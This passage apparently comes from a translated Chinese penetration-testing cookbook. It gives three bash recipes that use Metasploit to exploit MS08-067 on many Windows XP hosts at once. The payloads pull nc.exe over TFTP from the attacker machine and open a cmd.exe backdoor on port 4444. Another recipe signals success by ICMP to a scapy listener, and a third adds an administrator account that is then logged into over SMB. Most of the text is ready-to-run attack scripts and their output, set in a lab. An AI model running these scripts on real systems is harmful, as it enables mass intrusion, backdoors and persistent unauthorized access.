要使用此秘籍中演示的腳本,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是,此腳本可用于通過引用 IP 地址的輸入列表,來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"tftp -i 172.16.36.239 GET nc.exe && nc.exe -lvp 4444 -e cmd.exe\"" RHOST=$ip E   
    echo "Exploiting $ip and creating backdoor on TCP port 4444" 
done 

此腳本與上一個(gè)秘籍中討論的腳本不同,因?yàn)榇四_本在每個(gè)目標(biāo)上安裝一個(gè)后門。 在每個(gè)被利用的系統(tǒng)上,會(huì)執(zhí)行一個(gè)載荷,它使用集成的簡單文件傳輸協(xié)議(TFTP)客戶端來抓取 Netcat 可執(zhí)行文件,然后使用它在 TCP 端口 4444 上打開一個(gè)cmd.exe監(jiān)聽終端服務(wù)。為此, TFTP 服務(wù)將需要在 Kali 系統(tǒng)上運(yùn)行。 這可以通過執(zhí)行以下命令來完成:

root@KaliLinux:~# atftpd --daemon --port 69 /tmp 
root@KaliLinux:~# cp /usr/share/windows-binaries/nc.exe /tmp/nc.exe 

第一個(gè)命令在 UDP 端口 69 上啟動(dòng) TFTP 服務(wù),服務(wù)目錄在/ tmp中。 第二個(gè)命令用于將 Netcat 可執(zhí)行文件從Windows-binaries文件夾復(fù)制到 TFTP 目錄。 現(xiàn)在我們執(zhí)行./multipwn.sh bash shell:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> 
root@KaliLinux:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.158 and creating backdoor on TCP port 4444 
Exploiting 172.16.36.225 and creating backdoor on TCP port 4444 

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法。 該使用描述表明,該腳本應(yīng)該以一個(gè)參數(shù)執(zhí)行,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行,會(huì)開始彈出一系列新的終端。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列。 原始執(zhí)行終端在它們被執(zhí)行時(shí)輸出進(jìn)程列表,并且表明在每個(gè)終端上創(chuàng)建后門。 在每個(gè)終端中完成利用序列之后,Netcat 可以用于連接到由載荷打開的遠(yuǎn)程服務(wù):

root@KaliLinux:~# nc -nv 172.16.36.225 4444 
(UNKNOWN) [172.16.36.225] 4444 (?) open 
Microsoft Windows XP [Version 5.1.2600] 
(C) Copyright 1985-2001 Microsoft Corp.

C:\>

在提供的示例中,IP 地址為172.16.36.225的被利用的系統(tǒng)上的 TCP 4444 端口的連接,會(huì)生成可遠(yuǎn)程訪問的cmd.exe終端服務(wù)。

工作原理

Netcat 是一個(gè)功能強(qiáng)大的工具,可以用于各種目的。 雖然這是遠(yuǎn)程執(zhí)行服務(wù)的有效方式,但不建議在生產(chǎn)系統(tǒng)上使用此技術(shù)。 這是因?yàn)槿魏慰梢耘c監(jiān)聽端口建立 TCP 連接的人都可以訪問 Netcat 打開的后門。

8.7 使用 ICMP 驗(yàn)證多線程 MSF 利用

該秘籍演示了如何使用 bash 利用跨多個(gè)系統(tǒng)的單個(gè)漏洞,并使用 ICMP 流量驗(yàn)證每個(gè)漏洞的成功利用。 這種技術(shù)需要很少的開銷,并且可以輕易用于收集可利用的系統(tǒng)列表。

準(zhǔn)備

要使用此秘籍中演示的腳本,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>"; 
exit; fi

iplist=$1

for ip in $(cat $iplist)
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c ping \"172.16.36.239 -n 1 -i 15\"" 
    RHOST=$ip E   
    echo "Exploiting $ip and pinging" 
done 

此腳本與上一個(gè)秘籍中討論的腳本不同,因?yàn)檩d荷僅僅從被利用系統(tǒng)向攻擊系統(tǒng)發(fā)回 ICMP 回響請(qǐng)求。 在執(zhí)行ping命令并使用-i選項(xiàng)來指定生存時(shí)間(TTL)為15 時(shí)。此備用TTL值用于區(qū)分利用生成的流量與正常 ICMP 流量。 還應(yīng)該執(zhí)行定制的 Python 監(jiān)聽器腳本,通過接收 ICMP 流量來識(shí)別被利用的系統(tǒng)。 這個(gè)腳本如下:

#!/usr/bin/python

from scapy.all import * 
import logging 
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)

def rules(pkt):   
    try:      
        if ((pkt[IP].dst=="172.16.36.239") and (pkt[ICMP]) and pkt[IP]. ttl <= 15):         
            print str(pkt[IP].src) + " is exploitable"      
    except:         
        pass

print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning" 
sniff(lfilter=rules,store=0) 

腳本偵聽所有傳入的流量。 當(dāng)接收到 TTL 值為 15或 更小的 ICMP 數(shù)據(jù)包時(shí),腳本將系統(tǒng)標(biāo)記為可利用。

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 

Python流量監(jiān)聽器應(yīng)該首先執(zhí)行。 腳本最初不應(yīng)生成輸出。 此腳本應(yīng)該在開發(fā)過程的整個(gè)時(shí)間內(nèi)持續(xù)運(yùn)行。 一旦腳本運(yùn)行,應(yīng)該啟動(dòng) bash 利用腳本。

root@KaliLinux:~# ./multipwn.sh iplist.txt 
Exploiting 172.16.36.132 and pinging 
Exploiting 172.16.36.158 and pinging 
Exploiting 172.16.36.225 and pinging

當(dāng)執(zhí)行腳本時(shí),原始終端 shell 會(huì)顯示每個(gè)系統(tǒng)正在被利用,并且正在執(zhí)行ping序列。 還將為輸入列表中的每個(gè) IP 地址打開一個(gè)新的 GNOME 終端。 當(dāng)每個(gè)利用過程完成時(shí),應(yīng)該從目標(biāo)系統(tǒng)發(fā)起 ICMP 回響請(qǐng)求:

root@KaliLinux:~# ./listener.py 
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning 
172.16.36.132 is exploitable 
172.16.36.158 is exploitable 
172.16.36.225 is exploitable

假設(shè)攻擊成功,Python 監(jiān)聽腳本會(huì)識(shí)別生成的流量,并將 ICMP 流量的每個(gè)源 IP 地址列為可利用。

工作原理

ICMP 流量似乎是一種用于驗(yàn)證目標(biāo)系統(tǒng)的可利用性的非直觀方式。 然而,它實(shí)際上工作得很好。 單個(gè) ICMP 回響請(qǐng)求在目標(biāo)系統(tǒng)上沒有留下任何利用的痕跡,并且不需要過多的開銷。 此外,將 TTL 值設(shè)為 15 不太可能產(chǎn)生誤報(bào),因?yàn)閹缀跛邢到y(tǒng)都以 128 或更高的TTL值開始。

8.8 創(chuàng)建管理賬戶的多線程 MSF 利用

該秘籍展示了如何使用 bash ,在多個(gè)系統(tǒng)上利用單個(gè)漏洞,并在每個(gè)系統(tǒng)上添加一個(gè)新的管理員帳戶。 該技術(shù)可以用于以后通過使用集成終端服務(wù)或 SMB 認(rèn)證來訪問淪陷的系統(tǒng)。

準(zhǔn)備

要使用此秘籍中演示的腳本,你需要訪問多個(gè)系統(tǒng),每個(gè)系統(tǒng)都具有可使用 Metasploit 利用的相同漏洞。 提供的示例復(fù)制了運(yùn)行 Windows XP 漏洞版本的 VM,來生成 MS08-067 漏洞的三個(gè)實(shí)例。 有關(guān)設(shè)置 Windows 系統(tǒng)的更多信息,請(qǐng)參閱本書第一章中的“安裝 Windows Server”秘籍。 此外,本節(jié)還需要使用文本編輯器(如 VIM 或 Nano)將腳本寫入文件系統(tǒng)。 有關(guān)編寫腳本的更多信息,請(qǐng)參閱本書第一章的“使用文本編輯器(VIM 和 Nano)”秘籍。

操作步驟

下面的示例演示了如何使用 bash 腳本同時(shí)利用單個(gè)漏洞的多個(gè)實(shí)例。 特別是,此腳本可用于通過引用 IP 地址的輸入列表來利用 MS08-067 NetAPI 漏洞的多個(gè)實(shí)例:

#!/bin/bash

if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>"; 
exit; fi

iplist=$1 
user=$2 
pass=$3

for ip in $(cat $iplist) 
do   
    gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E   
    echo "Exploiting $ip and adding user $user" 
done 

由于載荷不同,此腳本與以前的多線程利用腳本不同。 這里,在成功利用時(shí)會(huì)依次執(zhí)行兩個(gè)命令。 這兩個(gè)命令中的第一個(gè)命令創(chuàng)建一個(gè)名為hutch的新用戶帳戶,并定義關(guān)聯(lián)的密碼。 第二個(gè)命令將新創(chuàng)建的用戶帳戶添加到本地Administrators組:

root@KaliLinux:~# ./multipwn.sh 
Usage: #./script <host file> <username> <password> 
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word 
Exploiting 172.16.36.132 and adding user hutch 
Exploiting 172.16.36.158 and adding user hutch 
Exploiting 172.16.36.225 and adding user hutch

如果在不提供任何參數(shù)的情況下執(zhí)行腳本,腳本將輸出相應(yīng)的用法。 該使用描述表明,該腳本應(yīng)該以一個(gè)參數(shù)來執(zhí)行,該參數(shù)指定了包含目標(biāo) IP 地址列表的文本文件的文件名。 一旦以這個(gè)參數(shù)執(zhí)行,會(huì)開始彈出一系列新的終端。 這些終端中的每一個(gè)將運(yùn)行輸入列表中的 IP 地址之一的利用序列。 原始執(zhí)行終端將在執(zhí)行時(shí)輸出進(jìn)程列表,并顯是在每個(gè)進(jìn)程上添加的新用戶帳戶。 在每個(gè)終端中完成利用序列之后,可以通過諸如 RDP 的集成終端服務(wù),或通過遠(yuǎn)程 SMB 認(rèn)證來訪問系統(tǒng)。 為了演示添加了該帳戶,Metasploit SMB_Login 輔助模塊用于使用新添加的憑據(jù)遠(yuǎn)程登錄到受攻擊的系統(tǒng):

msf > use auxiliary/scanner/smb/smb_login 
msf  auxiliary(smb_login) > set SMBUser hutch 
SMBUser => hutch 
msf  auxiliary(smb_login) > set SMBPass P@33word 
SMBPass => P@33word 
msf  auxiliary(smb_login) > set RHOSTS 172.16.36.225 
RHOSTS => 172.16.36.225 
msf  auxiliary(smb_login) > run

[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce 
[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch :  [STATUS_ SUCCESS] 
[*] Username is case insensitive 
[*] Domain is ignored 
[*] Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed

SMB_Login輔助模塊的結(jié)果表明,使用新創(chuàng)建的憑據(jù)登錄成功。 然后,這個(gè)新創(chuàng)建的帳戶可以用于進(jìn)一步的惡意目的,或者可以使用腳本來測(cè)試帳戶是否存在,來驗(yàn)證漏洞的利用。

工作原理

通過在每個(gè)利用的系統(tǒng)上添加用戶帳戶,攻擊者可以繼續(xù)對(duì)該系統(tǒng)執(zhí)行后續(xù)操作。 這種方法有優(yōu)點(diǎn)和缺點(diǎn)。 在受淪陷系統(tǒng)上添加新帳戶比攻破現(xiàn)有帳戶更快,并且可以立即訪問現(xiàn)有的遠(yuǎn)程服務(wù)(如 RDP)。 但是,添加新帳戶并不非常隱秘,有時(shí)可以觸發(fā)基于主機(jī)的入侵檢測(cè)系統(tǒng)的警報(bào)。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容